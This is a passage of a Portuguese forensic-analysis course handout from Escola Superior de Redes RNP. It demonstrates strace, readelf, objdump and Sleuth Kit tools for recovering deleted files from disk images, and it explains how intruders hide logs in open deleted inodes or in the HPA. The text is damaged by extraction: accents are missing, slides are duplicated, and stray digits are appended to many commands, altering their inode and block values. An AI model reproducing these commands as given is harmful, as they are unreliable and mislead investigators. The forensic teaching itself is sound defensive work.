mquina, principalmente se for com o atributo immutable, pode ser um indicativo
de comprometimento.

Informaes sobre executveis


strace
Permite executar um processo e acompanhar toda a
atividade executada pelo mesmo, como todos os
acessos ao sistema de arquivo, chamados de sistema,
leitura e escrita em filehandles, abertura e utilizao
de sockets de rede.
# strace -f -F -i -t -x

-p `pidof Xorg`

# strace -f -F /usr/sbin/sshd

strace
Permite executar um processo e acompanhar toda
a atividade executada pelo mesmo, como todos os
acessos ao sistema de arquivo, chamados de sistema, leitura e escrita em filehandles, abertura e utilizao de sockets de rede. Pode ser muito til caso
o investigador encontre um processo em execuo e
queira descobrir mais informaes sobre o mesmo,
ou ento se encontrar um binrio desconhecido
numa mquina e quiser execut-lo em um ambiente
controlado para saber a sua funo. Exemplo:
# strace -f -F -i -t -x -p `pidof Xorg`8
# strace -f -F /usr/sbin/sshd8

No primeiro exemplo, utilizamos o strace para monitorar um processo em execuo.


Neste caso, precisamos passar ao parmetro p o PID do processo que queremos
monitorar. Para isso, utilizamos o comando pidof Xorg entre aspas invertidas.
Esta uma facilidade do shell que permite executar o comando dentro das aspas
invertidas, pegar a sada deste comando, e substitu-la na linha de comando no
lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate
com o nome passado como parmetro.

Ambiente e ferramentas de anlise forense (parte 2)

52

Escola Superior de Redes RNP

Os outros parmetros deste comando indicam ao strace os threads criados pelo


processo (-f -F), para imprimir o timestamp (-t) e para imprimir em hexadecimal
qualquer string que contenha caracteres especiais (-x).
O segundo comando o formato utilizado para executar um processo atravs do
strace, permitindo assim acompanh-lo desde o princpio.

Informaes sobre executveis


readelf
Este comando til na anlise de binrios
desconhecidos. Ele permite listar uma srie de
informaes importantes sobre a estrutura do
executvel, facilitando assim um possvel trabalho de
anlise desse binrio.
#
#
#
#

readelf
readelf
readelf
readelf

-h
-S
-l
-e

readelf
Este comando til na anlise de binrios desconhecidos. Ele permite listar uma srie de informaes
importantes sobre a estrutura do executvel, facilitando assim um possvel trabalho de anlise desse
binrio.
# readelf -h /data/bla8

/data/bla
/data/bla
/data/bla
/data/bla

# readelf -S /data/bla8
# readelf -l /data/bla8
# readelf -e /data/bla8

Estes parmetros permitem listar sees especficas da estrutura do executvel.


O primeiro exemplo lista o cabealho ELF, o segundo lista os cabealhos de cada
seo, e o terceiro lista os cabealhos de programa. O ltimo exemplo na verdade
um atalho para listar as trs informaes acima simultaneamente.
ldd/nm/objdump

Informaes sobre executveis

# nm /bin/ntfs-3g8

ldd/nm/objdump
Estas trs ferramentas podem ser utilizadas em uma anlise
mais avanada de um binrio desconhecido.
Elas permitem descobrir informaes importantes sobre a
estrutura, funes e dependncias de um executvel:
#
#
#
#
#

# ldd /bin/ntfs-3g8

ldd /bin/ntfs-3g
nm /bin/ntfs-3g
objdump -x /bin/ntfs-3g
objdump -D /bin/ntfs-3g
objdump -S /bin/ntfs-3g

# objdump -x /bin/ntfs-3g8
# objdump -D /bin/ntfs-3g8
# objdump -S /bin/ntfs-3g8

O primeiro comando exemplificado permite listar de


quais bibliotecas o programa em questo depende.
Este comando pode ser til para descobrir verses
modificadas de binrios que possam apontar para
bibliotecas em locais externos ao padro do sistema.

O segundo comando lista as funes exportadas pelo executvel. Com esta


informao, possvel descobrir por alto algumas funcionalidades do programa
analisado. Por exemplo, um binrio suspeito que utilize uma chamada setsockopt()
deve ter a capacidade de criao de um listener. Isto pode indicar que o binrio
pode ser um backdoor.

Anlise forense Sesso de aprendizagem 3

53

O comando seguinte utilizado para listar informaes sobre o binrio, como no


primeiro exemplo, mas, alm disso, permite tambm listar o cdigo assembly
do binrio. Dois formatos de disassembly so suportados, como mostrado no
segundo e terceiro exemplos.

Pacote forense de ferramentas


Por que utilizar um pacote forense de ferramentas?
Facilitam o trabalho de analisar e extrair evidncias de
imagens de disco.
Permitem recuperar arquivos removidos.
So flexveis, permitindo a anlise de sistemas de
arquivos diferentes.
A quantidade de dados muito grande, ento
ferramentas especficas tornam o trabalho mais fcil.

Pacote forense de ferramentas


Tipos de ferramentas do pacote forense:
\\Ferramentas

do Nvel de Sistema de Arquivos


Estas ferramentas processam dados gerais sobre
o sistema de arquivos, tal como o layout de
disco, estruturas de alocao e boot blocks.

\\Ferramentas

do Nvel de Nomes de Arquivos


Estas ferramentas processam estruturas de
nomes de arquivos e de diretrios.

\\Ferramentas

Pacote forense de ferramentas


Ferramentas do Nvel de Sistema de Arquivos
Ferramentas do Nvel de Nomes de Arquivos
Ferramentas do Nvel de Metadados
Ferramentas do Nvel de Blocos de Dados
Outras ferramentas

do Nvel de Metadados Estas


ferramentas processam estruturas de metadados,
que armazenam detalhes sobre os arquivos.
Metadados so dados sobre dados. Eles
armazenam informaes sobre estruturas tais
como entradas de diretrios na FAT, entradas
MFT em sistemas NTFS, ou inodes em sistemas
de arquivos UFS ou EXTFS.

\\Ferramentas

do Nvel de Blocos de Dados


Estas ferramentas processam blocos de dados
onde o contedo de um arquivo fica armazenado,
como por exemplo clusters em um sistema FAT.

\\Outras

ferramentas Tm funcionalidades diversas


e so importantes durante a anlise forense.

Pacote forense de ferramentas


J mencionamos a ferramenta EnCase, para Windows.
Existem dois pacotes importantes para Linux:
The Coroners Toolkit
The Sleuth Kit
Sleuth Kit foi criado com base no primeiro, e possui
mais funcionalidades e flexibilidade.
Outras ferramentas facilitam o trabalho do analista, tal
como o Autopsy, uma interface web para os
programas do Sleuth Kit.

Ambiente e ferramentas de anlise forense (parte 2)

54

Escola Superior de Redes RNP

Pacote forense de ferramentas


Vamos utilizar neste curso o pacote Sleuth Kit:
Maior flexibilidade das ferramentas
Trabalha com dispositivos de disco ou imagens binrias
Reconhece diversos sistemas de arquivos
Sem custo de utilizao

As ferramentas do Sleuth Kit esto divididas em grupos, de acordo


com as estruturas de um sistema de arquivos:
Sistema de arquivos
Estruturas de nomes de arquivos
Estruturas de metadados
Estruturas de journaling
Estruturas de blocos de dados
Estruturas de gerenciamento de parties
Estruturas de acesso fsico ao disco

Os inodes contm informaes necessrias aos processos para acessar um arquivo.

Pacote forense de ferramentas


Cada arquivo em um sistema Unix possui um nico
inode.
Cada inode contm:
Owner: 707
Identificao do owner
Tipo do arquivo
Permisses de acesso
Tempo de acesso
Nmero de links
Tabela de contedo
Tamanho do arquivo
Lista de blocos de dados do arquivo

Group: 707
Type: regular
Perms: rw-rw-rw-Accessed: Mon JAN 16 03:03
Modified: Mon JAN 16 01:01
Created: Sun DEC 15 10:00

Pacote forense de ferramentas


Qual a importncia dos inodes e da forma de alocao
de dados no disco?
Quando um arquivo apagado os dados continuam no
disco e podem ser recuperados at que sejam
sobrescritos.
Algoritmos de alocao de espao evitam coliso.
Concluso
Arquivos apagados so freqentemente recuperados
com sucesso e possuem informaes valiosas.

Anlise forense Sesso de aprendizagem 3

Owner: 707
Group: 707
Type: regular
Perms: rw-rw-rw-Accessed: Mon JAN 16 03:03
Modified: Mon JAN 16 01:01
Created: Sun DEC 15 10:00

55

Os blocos de dados so a menor estrutura em um disco, e armazenam o contedo do arquivo. Um inode pode armazenar os dados do arquivo quando este for
bem pequeno, menor que o tamanho de um bloco. Caso o arquivo tenha entre 1 e
8 blocos, o inode armazena uma lista de blocos diretamente. E quando o arquivo
for muito grande, o inode vai utilizar os blocos endereados diretamente como
rea para armazenar informaes sobre os blocos que armazenam o arquivo. Este
processo chamado de blocos de dados endereados indiretamente, e permite
que um arquivo tenha tamanhos arbitrrios.

Pacote forense de ferramentas


Como os arquivos so apagados?
O inode alocado a um arquivo marcado como livre
O inode recolocado na lista free-inodes no
superblock
O nmero de free-inodes incrementado no
superblock
Blocos do disco so retornados para a lista de blocos
livres no disco
O nmero de blocos livres no disco incrementado no
superblock

Ambiente e ferramentas de anlise forense (parte 2)

56

Escola Superior de Redes RNP


Ferramentas do nvel de sistema de
arquivos
fsstat
Mostra detalhes e estatsticas do sistema de arquivos:
# fsstat -f linux-ext2 /data/dev_sda2_root.img
FILE SYSTEM INFORMATION
-------------------------------------------File System Type: Ext2
Volume Name:
Volume ID: 533d2c132a726ebcb1430beadf42a1df
Last Written at: Tue Jan 15 21:00:42 2008
Last Checked at: Wed Jan 16 03:32:47 2008
Last Mounted at: Tue Jan 15 21:00:12 2008

Ferramentas do nvel de sistema de arquivos


fsstat
Mostra detalhes e estatsticas do sistema de arquivos, tal como layout, tamanho do disco, tamanho
dos blocos, nmero de inodes e blocos de dados,
datas de modificao, entre outros.
# fsstat -f linux-ext2 /data/dev_sda2_root.img8
FILE SYSTEM INFORMATION
-------------------------------------------File System Type: Ext2
Volume Name:
Volume ID: 533d2c132a726ebcb1430beadf42a1df
Last Written at: Tue Jan 15 21:00:42 2008
Last Checked at: Wed Jan 16 03:32:47 2008
Last Mounted at: Tue Jan 15 21:00:12 2008

Este comando importante para o investigador descobrir informaes sobre o


disco que sero teis em diversos momentos da investigao. Deve-se executar
o comando para entender a sada completa do mesmo, j que no possvel
coloc-la toda aqui. Uma parte importante da sada mostrada a seguir:
Source OS: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype,
Read Only Compat Features: Sparse Super,
Journal ID: 00
Journal Inode: 8
METADATA INFORMATION
-------------------------------------------Inode Range: 1 - 64512
Root Directory: 2
Free Inodes: 51833
CONTENT INFORMATION
-------------------------------------------Block Range: 0 - 257039
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 50885

O tamanho dos blocos define o menor espaco disponvel para um arquivo. Os


limites de inode e de blocos indicam valores teis para serem utilizados em outros
comandos que veremos a seguir.

Anlise forense Sesso de aprendizagem 3

57

Ferramentas do nvel de nomes de


arquivos
ffind
Procura por nomes de arquivos que apontem para
uma dada estrutura de metadados.
# ffind -f linux-ext2
/data/dev_sda2_root.img 4317
* /usr/NX/bin/nxclient

Ferramentas do nvel de nomes de arquivos


ffind
Procura por nomes de arquivos que apontem para
uma dada estrutura de metadados.
# ffind -f linux-ext2 /data/dev_sda2_root.img 43178
* /usr/NX/bin/nxclient

A estrutura de um arquivo em disco composta por


um inode que armazena informaes sobre o arquivo
e aponta para os blocos de dados que armazenam
o contedo do arquivo. Podemos entender o ffind
como uma ferramenta que serve para descobrir o nome de arquivo que aponta
para o inode informado.
O fls funciona basicamente como o ls, listando a estrutura de diretrios e arquivos
do dispositivo ou imagem informados, com a diferena de que lista os arquivos
removidos, tambm podendo listar mais informaes como inode e mactimes.

Ferramentas do nvel de nomes de


arquivos
fls

Lista nomes de arquivos alocados ou apagados em


um diretrio.

fls
Lista nomes de arquivos alocados ou apagados em
um diretrio.

# fls -a r d -f linux-ext2
/data/dev_sda2_root.img
d/- * 0:
KNOPPIX/usr
r/r * 4317:
usr/NX/bin/nxclient

# fls -a r d -f linux-ext2 /data/dev_sda2_root.img8

# fls -a -f linux-ext2
/data/dev_sda2_root.img

# fls -a -f linux-ext2 /data/dev_sda2_root.img8

# fls -m / -f linux-ext2 -a -p -r


/data/dev_sda2_root.img >
/data/dev_sda2_root.img.mac

Ferramentas do nvel de metadados


istat
Mostra estatsticas e detalhes sobre um determinado
inode.
# istat -f linux-ext2
/data/dev_sda2_root.img 4317

Ambiente e ferramentas de anlise forense (parte 2)

d/- * 0: KNOPPIX/usr
r/r * 4317: usr/NX/bin/nxclient

# fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_


root.img > /data/dev_sda2_root.img.mac8

Ferramentas do nvel de metadados


istat
# istat -f linux-ext2 /data/dev_sda2_root.img 43178

Dados da sada do istat:


inode: 4317
Not Allocated
Group: 2
Generation Id: 2619973599
uid / gid: 0 / 0
mode: -rwxr-xr-x
size: 5432288
num of links: 0
Inode Times:

58

Escola Superior de Redes RNP


Accessed: Wed Jan 16 03:51:16 2008
File Modified: Tue Dec 20 09:44:32 2005
Inode Modified: Tue Jan 15 21:00:40 2008
Deleted: Tue Jan 15 21:00:40 2008
Direct Blocks:
27894 27895 27896 27897 27898 27899 27900 27901
...

Vemos no exemplo algumas informaes interessantes sobre o arquivo armazenado no inode listado. Primeiro, que ele no est alocado, isto , o arquivo original foi removido. Segundo, vemos o usurio e grupo originais do arquivo, alm de
suas permisses. Finalmente, vemos os tempos de acesso, modificao, criao
e remoo do arquivo. Veremos em outra sesso como essas informaes podem
ser importantes para identificar as atividades de um invasor.

Ferramentas do nvel de metadados


icat
Extrai uma unidade de dados de um disco, a partir do
endereo do metadado que aponta para este bloco.
Permite extrair um arquivo a partir de um inode, sem
precisar saber o nome do arquivo.
# icat -f linux-ext2
/data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat

icat
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat8

O icat a ferramenta utilizada para recuperar arquivos


deletados. Com o inode sabendo onde um arquivo est
armazenado, como por exemplo utilizando fls ou lsi,
possvel recuperar o arquivo utilizando o icat como
mostra o exemplo.
ifind

Ferramentas do nvel de metadados


ifind
Permite, em conjunto com o comando ffind achar o
nome de arquivo que aponta para um bloco de dados
# ifind -a /data/dev_sda2_root.img -d 251399
60489
# ffind -a /data/dev_sda2_root.img 60489
/etc/passwd
# ifind -a /data/dev_sda2_root.img -n
usr/NX/bin/nxclient
4317

Procura a estrutura de metadados para a qual um


determinado nome de arquivo aponta, ou a estrutura
de metadados que aponta para um determinado
bloco de dados.
Permite, em conjunto com o comando ffind achar
qual nome de arquivo aponta para um bloco de
dados (por exemplo, o bloco de dados que contenha
um texto importante que se deseje recuperar).
# ifind -a /data/dev_sda2_root.img -d 2513998
60489
# ffind -a /data/dev_sda2_root.img 60489 8
/etc/passwd
# ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxc
lient8
4317

No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes
que queremos recuperar. Para achar o inode que est alocando este bloco, isto , o
arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o
inode, e aps isso utilizamos o ffind para encontrar o nome de arquivo correspondente.

Anlise forense Sesso de aprendizagem 3

59

O segundo exemplo faz o contrrio: a partir do nome de um arquivo conhecido,


descobrimos em qual inode ele estava armazenado originalmente.

Ferramentas do nvel de metadados


ils
Lista as estruturas de metadados e seus contedos em
um formato fcil de tratar.
Faz com inodes o mesmo que o fls fez com nomes de
arquivos.
# ils r f linux-ext2 /data/dev_sda2_root.img

# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img >
/data/dev_sda2_root.img.ils
# ils O f linux-ext2 /data/dev_sda2_root.img

ils
Lista as estruturas de metadados e seus contedos
em um formato fcil de se tratar. O ils faz com inodes o mesmo que o fls fez com nomes de arquivos.
Exemplo:
# ils r f linux-ext2 /data/dev_sda2_root.img
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.
img > /data/dev_sda2_root.img.ils
# ils O f linux-ext2 /data/dev_sda2_root.img

Nos exemplos acima, listamos recursivamente todos


os inodes da imagem (alocados ou no). O segundo exemplo cria um arquivo no
formato mactimes, como vimos no fls.
E o terceiro exemplo til em um sistema ligado, permitindo listar todos os inodes que
foram removidos, mas ainda esto abertos. Com isto, poderemos identificar algum executvel ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em
memria. Isto muito comum quando um invasor instala um sniffer na mquina. Ele executa o sniffer, descobre em qual inode o arquivo de logs est armazenado, removendo
em seguida o binrio do sniffer e o arquivo de logs. Como o arquivo vai permanecer
aberto, nenhum novo arquivo poder sobrescrever as reas do disco onde esse log
est sendo armazenado, e ele no vai aparecer mais no sistema de arquivos. Quando o
invasor precisar, poder voltar mquina, e recuperar o arquivo a partir do inode. Este
um mtodo muito simples de esconder evidncias no sistema.

Ferramentas do nvel de blocos de dados


dstat
Mostra estatsticas e detalhes sobre um bloco de dados.
# dstat -f linux-ext2 /data/dev_sda2_root.img
251399 
Fragment: 251399
Allocated
Group: 30

Ferramentas do nvel de blocos de dados


dstat
Mostra estatsticas e detalhes sobre um bloco de
dados.
# dstat -f linux-ext2 /data/dev_sda2_root.img
251399 
Fragment: 251399
Allocated
Group: 30

Os blocos de dados so a menor estrutura de armazenamento possvel um disco. Um inode armazena a


lista de blocos onde os dados do arquivo so armazenados. Algumas vezes, quando
um inode for sobrescrito, ou parte dos blocos de um arquivo forem sobrescritos,
no ser possvel recuperar o arquivo completo, mas com o dstat e dcat, podemos
recuperar partes do arquivo e com isso conseguir evidncias importantes para
resolver o caso.
Ambiente e ferramentas de anlise forense (parte 2)

60

Escola Superior de Redes RNP

Ferramentas do nvel de blocos de dados

dcat
# dcat -f linux-ext2 /data/dev_sda2_root.img 2513998

dcat
Extrai um bloco de dados de um disco. Utilizaremos
esta ferramenta quando no for possvel identificar a
qual arquivo ou inode pertence um determinado bloco.
Permite recuperar dados parciais de arquivos.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

# dcat -f linux-ext2
/data/dev_sda2_root.img 251399
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Ferramentas do nvel de blocos de dados


dls
Lista detalhes sobre unidades de dados, e pode listar blocos de
dados desalocados de um sistema de arquivos.
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root.
img 27891 27895 
class|host|image|first_time|unit
dls|Helix||1199680475|Fragment
addr|alloc
27891|a
27892|a
27893|a
27894|f
27895|f
# dls -A -f linux-ext2 /data/dev_sda2_root.img > /
data/dev_sda2_root.img.dls

dls
Lista detalhes sobre unidades de dados, e pode listar blocos de dados desalocados de um sistema de
arquivos. Estes blocos contm o espao livre e os
arquivos deletados em disco.
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root.
img 27891 27895 8
class|host|image|first_time|unit
dls|Helix||1199680475|Fragment
addr|alloc
27891|a
27892|a
27893|a
27894|f
27895|f
# dls -A -f linux-ext2 /data/dev_sda2_root.img > /
data/dev_sda2_root.img.dls8

No primeiro exemplo, o dls lista o estado de alocao dos blocos entre os valores
indicados. Podemos ver que os blocos alocados aparecem com o status a, e os
desalocados esto listados como f.
O segundo exemplo cria um arquivo contendo somente os blocos desalocados do
disco. Com este arquivo, poderemos procurar por evidncias que tenham sido removidas, como por exemplo, um arquivo de log ou executvel. Pode no parecer muito
interessante esse tipo de funo, mas pense em procurar por essa evidncia em um
disco de centenas de gigabytes. Se conseguir procurar somente no espao livre, a
quantidade de dados pode ser muito menor, facilitando o trabalho de investigao.

Anlise forense Sesso de aprendizagem 3

61

Ferramentas do nvel de blocos de dados


dcalc
Usado para encontrar na imagem original o bloco de
dados correspondente ao encontrado na imagem de
blocos de dados desalocados. Exemplo:
#
#
#
#
#

grep -ab http://www /data/dev_sda2_root.img.dls


fsstat /data/dev_sda2_root.img | grep Block Size
echo $((4045060/1024))
dcalc -u 3950 /data/dev_sda2_root.img
dcat /data/dev_sda2_root.img 31844

dcalc
Usado para encontrar na imagem original o bloco de
dados correspondente ao encontrado na imagem de
blocos de dados desalocados. Exemplo:
# grep -ab http://www /data/dev_sda2_root.img.dls8
# fsstat /data/dev_sda2_root.img | grep Block Size8
# echo $((4045060/1024))8
# dcalc -u 3950 /data/dev_sda2_root.img8
# dcat /data/dev_sda2_root.img 318448

Mais informaes:
http://www.nomachine.
com/

Esta a sequncia de comandos com a sada correspondente:


# grep -ab http://www /data/dev_sda2_root.img.dls8
4045060:See http://www.nomachine.com/ for more information.
# fsstat /data/dev_sda2_root.img | grep Block Size8
Block Size: 1024
# echo $((4045060/1024))8
3950
# dcalc -u 3950 /data/dev_sda2_root.img8
31844
# dcat /data/dev_sda2_root.img 318448
The directory not exists./.nx/config//confignxsconfCannot find the configuration
file .nxsError: the session name %1 not found in %2.NXCLIENT - Version

O primeiro comando lista as ocorrncias da sequncia procurada, com o offset em


bytes onde essa sequncia pode ser encontrada na imagem. Com o comando fsstat,
vemos que o tamanho do bloco do disco tem 1024 bytes, ento temos que encontrar
o endereo do bloco de dados que armazena o byte do offset encontrado. O comando
echo visto no exemplo usa uma facilidade do shell para calcular o endereo do bloco,
e a seguir utilizamos o dcalc para descobrir na imagem original o bloco correspondente ao bloco encontrado na imagem de blocos desalocados. Por fim, utilizamos o
dcat para recuperar o contedo do bloco em questo.

Outras ferramentas
mmls
Mostra informaes sobre o layout do disco, incluindo
espaos no particionados.
A sada identifica o tipo das parties e seus tamanhos,
facilitando a utilizao do comando dd para extrair parties.
A sada ordenada pelo setor inicial, facilitando encontrar
espaos no layout.

# mmls -t dos /dev/sda


DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

Ambiente e ferramentas de anlise forense (parte 2)

Outras ferramentas
mmls
Mostra informaes sobre o layout do disco, incluindo
espaos no particionados. A sada identifica o tipo
das parties e seus tamanhos, facilitando a utilizao do comando dd para extrair parties. A sada
ordenada pelo setor inicial, facilitando encontrar
espaos no layout.

62

Escola Superior de Redes RNP


# mmls -t dos /dev/sda8
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

O comando mmls importante, pois mostra a estrutura de particionamento do


disco, incluindo o tipo e o tamanho das parties, possveis espaos no particionados, o tamanho do cluster (que define o tamanho do bloco) e o tipo da partio.
mmstat

Outras ferramentas
mmstat
Este comando mostra apenas o tipo de partio
presente em um dispositivo.
Pode ser utilizado para descobrir essa informao
num disco no qual no conhecemos o tipo de
particionamento utilizado.

Este comando mostra apenas o tipo de partio


presente em um dispositivo. Pode ser utilizado para
descobrir essa informao num disco no qual no
conhecemos o tipo de particionamento utilizado.
# mmstat /dev/das 8
dos

# mmstat /dev/das
dos

O mmstat uma ferramenta para mostrar o tipo de


tabela de partio existente na imagem ou dispositivo.
hfind

Outras ferramentas
hfind
Para um dado arquivo suspeito, procura em bancos de dados
de hash criptogrficos conhecidos pela existncia do arquivo,
para verificar sua autenticidade. Diversos bancos de dados
podem ser usados como fonte: [9], [10], [11], [12], [13].
# hfind -i md5sum /data/badfiles_hashs.md5

Index Created
# hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49
91d39043199
e54904845b4b0a9cb5f4991d39043199 /bin/chgrp

Procura um dado arquivo suspeito em bancos de


dados de hash criptogrficos conhecidos pela existncia do arquivo, para verificar sua autenticidade.
Diversos bancos de dados podem ser usados como
fonte.
# hfind -i md5sum /data/badfiles_hashs.md58
Index Created
# hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49
91d390431998
e54904845b4b0a9cb5f4991d39043199 /bin/chgrp

O hfind uma ferramenta usada para procurar por


assinaturas de arquivos conhecidos. O primeiro
comando do slide cria um ndice baseado na lisa de hashs passada como parmetro. Existem na internet diversas listas de arquivos maliciosos ou de arquivos
vlidos de um sistema.
O segundo comando procura por um hash especfico dentro do ndice, e indica o
arquivo correspondente a esse hash.

Anlise forense Sesso de aprendizagem 3

63

mactime

Outras ferramentas
mactime
Pega a sada dos comandos ils ou fls e cria um
timeline, ou linha de eventos, da atividade de arquivos
no disco.
# mactime -b /data/dev_sda2_root.img.mac p /etc/passwd -z GMT-3

Pega a sada dos comandos ils ou fls e cria um timeline, ou linha de eventos, da atividade de arquivos
no disco. Como veremos em sesses posteriores,
o timeline a principal ferramenta para remontar os
passos de uma invaso.
# mactime -b /data/dev_sda2_root.img.mac -p /etc/pa
sswd -z GMT-38

disk_stat

Outras ferramentas
disk_stat
Este comando mostra informaes sobre discos ATA e SerialATA.
Host Protected Area (HPA):
rea reservada onde os fabricantes normalmente instalam
arquivos de recuperao do sistema operacional original.

# disk_stat /dev/sda
Maximum Disk Sector: 312499999
Maximum User Sector: 268435454
** HPA Detected (Sectors 268435454 312500000) **

Este comando mostra informaes sobre discos ATA


e Serial-ATA. Normalmente, podemos encontrar neste
tipo de disco uma rea reservada onde os fabricantes normalmente instalam arquivos de recuperao
do sistema operacional original. Esta rea conhecida como Host Protected Area (HPA):
# disk_stat /dev/sda8
Maximum Disk Sector: 312499999
Maximum User Sector: 268435454
** HPA Detected (Sectors 268435454 - 312500000) **

O problema do HPA que esta rea no acessvel


ao sistema operacional, nem mesmo em uma listagem de parties com o comando fdisk. Mas um
invasor com as ferramentas necessrias pode utilizar
essa regio do disco para esconder informaes.

Se o investigador tentar realizar uma cpia do disco antes de desabilitar a proteo do HPA, o dd ou qualquer comando utilizado para cpia no copiar os setores protegidos. Por isso estes comandos so importantes durante o atendimento
inicial do incidente para garantir que as evidncias sero coletadas corretamente.

Outras ferramentas
disk_sreset
Permite remover o bloqueio de acesso ao HPA,
permitindo que o investigador tenha acesso aos
setores de disco protegidos.
# disk_sreset /dev/sda
Removing HPA from 268435454 to 312500000
until next reset

Ambiente e ferramentas de anlise forense (parte 2)

disk_sreset
Este comando permite remover o bloqueio de
acesso ao HPA, permitindo assim que o investigador
tenha acesso aos setores de disco protegidos e ao
seu contedo.
# disk_sreset /dev/sda8
Removing HPA from 268435454 to 312500000 until next
reset

64

Escola Superior de Redes RNP


sorter

Outras ferramentas

# mkdir -p /usr/local/sleuthkit-2.09/share/file/

Analisa e ordena os arquivos em uma imagem de


disco baseada em um banco de dados de assinaturas de arquivos. Serve para identificar rapidamente se
existem em disco arquivos de um determinado tipo.

# cp /usr/share/file/magic /usr/local/sleuthkit2.09/share/file/

# mkdir -p /usr/local/sleuthkit-2.09/share/file/8

sorter
Analisa e ordena os arquivos em uma imagem de disco baseada em
um banco de dados de assinaturas de arquivos.

# sorter -f linux-ext2 -d /data/sorter


/data/dev_sda2_root.img
Analyzing "/data/dev_sda2_root.img
Loading Allocated File Listing
Processing 12674 Allocated Files and Directories

100%
All files have been saved to: /data/sorter

# cp /usr/share/file/magic /usr/local/sleuthkit-2.09
/share/file/8
# sorter -f linux-ext2 -d /data/sorter /data/dev_sd
a2_root.img8
Analyzing /data/dev_sda2_root.img
Loading Allocated File Listing
Processing 12674 Allocated Files and Directories

100%
All files have been saved to: /data/sorter

O arquivo unknown.txt contm os arquivos encontrados pelo sorter com os respectivos inodes onde foram encontrados.

sigfind

Outras ferramentas
sigfind
O comando sigfind permite procurar por um padro
binrio em um arquivo.
# sigfind -b 1024 1f8b08
/data/dev_sda2_root.img | less
# ifind -a /data/dev_sda2_root.img -d 55934
# ffind -a /data/dev_sda2_root.img 4781
# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi
/UTBI__10-ISO8859-1.pcf.gz | head -1

O principal problema em procurar padres utilizando


o comando grep que no podemos procurar por
padres binrios. Por exemplo, como encontrar
a assinatura de um arquivo gzip? Neste caso, o
comando sigfind pode ser utilizado. Ele permite procurar por um padro binrio em um arquivo.
# sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | l
ess8
Block size: 1024 Offset: 0 Signature: 1F8B08
Block: 55934 (-)
# ifind -a /data/dev_sda2_root.img -d 559348
4781
# ffind -a /data/dev_sda2_root.img 47818
/usr/X11R6/lib/X11/fonts/100dpi/UTBI__10-ISO8859-1.
pcf.gz
# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__
10-ISO8859-1.pcf.gz | head -18
00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70
5c d5 |.......C...Z.p\.|

Vemos no exemplo acima que o comando sigfind encontrou o padro procurado


no bloco 55934. Utilizamos em seguida o comando ifind para encontrar o inode
correspondente que aponta para este bloco. Encontrando o inode, podemos
utilizar o comando ffind para achar finalmente o nome do arquivo correspondente.

Anlise forense Sesso de aprendizagem 3

65

Fizemos uma ltima verificao com o comando hexdump para mostrar que os
trs primeiros bytes do arquivo so mesmo 0x1f8b08.
srch_strings

Outras ferramentas
srch_strings
Permite realizar as mesmas tarefas do comando
strings, com a diferena de poder procurar por
caracteres com outra codificao.
Veja os exemplos abaixo:
#
#
#
#
#

strings a /data/ HelloWorld.doc


srch_strings -a -e l /data/ HelloWorld.doc
srch_strings -a -e b /data/ HelloWorld.doc
srch_strings -a -e s /data/ HelloWorld.doc
srch_strings -a -e S /data/ HelloWorld.doc

O comando strings tem um problema que muitas


vezes pode atrapalhar os resultados de uma investigao. Caso exista algum texto de evidncia que
utilize uma codificao diferente do padro ASCII,
strings no vai mostr-lo. Por isso, o comando srch_
strings existe para suprir essa deficincia. Ele permite realizar as mesmas tarefas do comando strings,
com a diferena de poder procurar por caracteres
com outra codificao. Veja os exemplos ao lado:
# strings a /data/ HelloWorld.doc8
# srch_strings -a -e l /data/ HelloWorld.doc8
# srch_strings -a -e b /data/ HelloWorld.doc8
# srch_strings -a -e s /data/ HelloWorld.doc8
# srch_strings -a -e S /data/ HelloWorld.doc8

Nos exemplos, mudando o tipo de codificao com o parmetro e podemos ver a diferena na sada dos comandos, comparados com o comando strings normal. Em cada
caso, utilizamos uma codificao diferente, de acordo com o parmetro passado em e
<codificacao>. Isto pode ser importante para encontrar arquivos que estejam em outra
codificao, como por exemplo se o invasor for proveniente de pases orientais.
foremost
Quando o nmero de arquivos que precisamos recuperar for muito grande, fica
invivel realizar essa tarefa manualmente. O foremost uma ferramenta escrita
pela fora area americana, com o objetivo de facilitar a procura e recuperao
de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configurao
onde possvel especificar as assinaturas que deseja procurar.
# mkdir /data/foremost8
# foremost -o /data/foremost -c /data/foremost.conf /data/dev_sda2_root.img.
dls8
Processing: /data/dev_sda2_root.img.dls
# ls /data/foremost8
audit.txt htm jpg

Podemos ver que o comando cria um diretrio para cada tipo de arquivo identificado, e dentro dele armazena os arquivos do tipo que foram recuperados da
imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme
vimos, contm os blocos de dados desalocados do disco original.

Ambiente e ferramentas de anlise forense (parte 2)

66

Escola Superior de Redes RNP

Outras ferramentas
foremost
Facilita a procura e recuperao de arquivos baseados
em suas assinaturas, utilizando um arquivo de
configurao onde possvel especificar as
assinaturas que deseja procurar.
# mkdir /data/foremost
# foremost -o /data/foremost -c /data
